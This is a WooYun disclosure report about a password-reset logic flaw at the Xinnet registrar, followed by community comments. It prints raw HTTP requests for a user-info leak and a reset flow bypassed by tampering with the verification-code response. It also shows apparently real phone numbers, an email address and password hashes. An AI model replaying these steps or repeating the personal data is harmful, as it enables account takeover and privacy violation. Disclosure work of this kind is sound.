当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0163687

漏洞标题：新网某处设计缺陷可任意用户密码重置及手机号密码密文泄漏（大众点评网为例）

相关厂商：新网华通信息技术有限公司

漏洞作者： 路人甲

提交时间：2015-12-22 21:35

修复时间：2016-02-04 17:47

公开时间：2016-02-04 17:47

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-12-22： 细节已通知厂商并且等待厂商处理中
2015-12-23： 厂商已经确认，细节仅向厂商公开
2016-01-02： 细节向核心白帽子及相关领域专家公开
2016-01-12： 细节向普通白帽子公开
2016-01-22： 细节向实习白帽子公开
2016-02-04： 细节向公众公开

简要描述：

新网某处设计缺陷可任意用户密码重置及手机号密码密文泄漏（大众点评网为例）

详细说明：

重置密码要先从敏感信息泄漏开始

POST /user/userlogin.do?method=checkUserName HTTP/1.1
Host: www.xinnet.com
Proxy-Connection: keep-alive
Content-Length: 18
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://www.xinnet.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
DNT: 1
Referer: http://www.xinnet.com/views/loginnew/forgetpwd.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4
AlexaToolbar-ALX_NS_PH: AlexaToolbar/alxg-3.3
userName=hy4911980


利用敏感信息泄漏，我们可以获取

{"id":4535227,"agentCode":"hy4911980","email":"151******71","password":"$1$39$QCqKIUdkYwfj20lFApPbE0","mobileNum":"15165955871","state":"02"}


{"id":4535226,"agentCode":"hy4911979","userEmail":"13832465238@163.com","userNameEmail":"13832465238@163.com","email":"138******38","password":"$1$99$E/YOf1qM9JWviO5wdnXes0","mobileNum":"13832465238","state":"02"}


password不知道什么加密方式，暂且先不理会，我们需要用到的是会员的手机号
去找回密码处利用会员名（hy4911979）手机号（13832465238） 进行找回密码

屏幕快照 2015-12-22 下午9.10.15.png


抓包

POST /user/userlogin.do?method=checkMobileVerifyCode HTTP/1.1
Host: www.xinnet.com
Proxy-Connection: keep-alive
Content-Length: 33
Accept: text/plain, */*; q=0.01
Origin: http://www.xinnet.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
DNT: 1
Referer: http://www.xinnet.com/views/loginnew/forgetpwd.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4
AlexaToolbar-ALX_NS_PH: AlexaToolbar/alxg-3.3
MobileNum=13832465238&Code=123456


修改该请求的返回包为：verify_code_is_right

屏幕快照 2015-12-22 下午9.14.03.png


屏幕快照 2015-12-22 下午9.14.19.png


13832465238 wooyuntest123

屏幕快照 2015-12-22 下午9.15.47.png


屏幕快照 2015-12-22 下午9.16.26.png

漏洞证明：

大众点评网为例：
15800310255 wooyuntest123

屏幕快照 2015-12-22 下午9.28.12.png


屏幕快照 2015-12-22 下午9.28.18.png


屏幕快照 2015-12-22 下午9.30.14.png

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2015-12-23 10:35

厂商回复：

非常感谢路人甲@乌云，小新正在玩命确认及修复中

最新状态：

2015-12-24：漏洞已修复，非常感谢路人甲@乌云

漏洞评价：

评价

  1. 2015-12-22 21:36 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1278 漏洞数:128 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    沙发

  2. 2015-12-22 21:36 | JiuShao ( 普通白帽子 | Rank:453 漏洞数:99 | ╮(╯▽╰)╭锄禾日当午)

    前排

  3. 2015-12-22 21:37 | Finger 认证白帽子 ( 普通白帽子 | Rank:777 漏洞数:95 | 最近有人冒充该账号行骗，任何自称Finger并...)

    又来...

  4. 2015-12-22 21:38 | 进击的zjx ( 普通白帽子 | Rank:1450 漏洞数:179 | 1000rank目标达成！撒花……)

    关注

  5. 2015-12-22 21:43 | onpu ( 普通白帽子 | Rank:167 漏洞数:37 | 勿忘初心)

    关注

  6. 2015-12-22 21:44 | F4K3R ( 普通白帽子 | Rank:318 漏洞数:34 | 学习)

    来来来

  7. 2015-12-22 21:45 | loopx9 认证白帽子 ( 普通白帽子 | Rank:746 漏洞数:75 | ..)

    关注

  8. 2015-12-22 21:47 | jye33 ( 普通白帽子 | Rank:429 漏洞数:100 | 没有什么能够阻挡，我对静静的向往)

    关注

  9. 2015-12-22 21:53 | just_joker ( 实习白帽子 | Rank:77 漏洞数:18 | ..........)

    牛叉。。

  10. 2015-12-22 22:05 | 玉林嘎 认证白帽子 ( 核心白帽子 | Rank:915 漏洞数:105 )

    mark

  11. 2015-12-22 22:53 | DloveJ ( 普通白帽子 | Rank:1229 漏洞数:219 | Web安全测试培训 QQ269787775)

    @玉林嘎 求蓝v大法

  12. 2015-12-22 23:12 | 心云 ( 普通白帽子 | Rank:184 漏洞数:57 | Rank:200 漏洞数:55 | Rank:300 漏洞数:70 ...)

    你在补天也提交了？

  13. 2015-12-22 23:50 | 秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚，关注互联网安全)

    NB!

  14. 2015-12-23 08:42 | 换个昵称 ( 路人 | Rank:9 漏洞数:4 | 1)

    又是无耻的双投

  15. 2015-12-23 09:33 | 随风的风 ( 普通白帽子 | Rank:201 漏洞数:69 | 微信公众号：233sec 不定期分享各种漏洞思...)

    http://loudong.360.cn/vul/info/qid/QTVA-2015-3472225楼77 (3级白帽 | 贡献值：90 )@小小白 乌云这个也有点无耻了吧，这个洞我上周提交补天，今天上首页，晚上就有人看到标题找到漏洞提交乌云。

  16. 2015-12-23 09:34 | 随风的风 ( 普通白帽子 | Rank:201 漏洞数:69 | 微信公众号：233sec 不定期分享各种漏洞思...)

    不知道洞主怎么想的。。

  17. 2015-12-23 11:21 | hecate ( 普通白帽子 | Rank:722 漏洞数:110 | ®高级安全工程师 | WooYun认证√)

    @随风的风 666